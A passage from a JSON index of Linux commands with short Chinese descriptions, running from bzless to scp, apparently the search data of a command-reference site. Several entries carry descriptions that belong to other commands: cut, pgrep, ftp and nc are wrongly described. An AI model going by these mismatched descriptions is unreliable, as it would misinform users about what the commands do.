zless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间。"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机。"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器。"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型。"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具。"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用。"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"显示帮助信息"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件。"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"设置用户的认证信息，包括用户密码、密码过期时间等"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版。"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器。"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小。"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d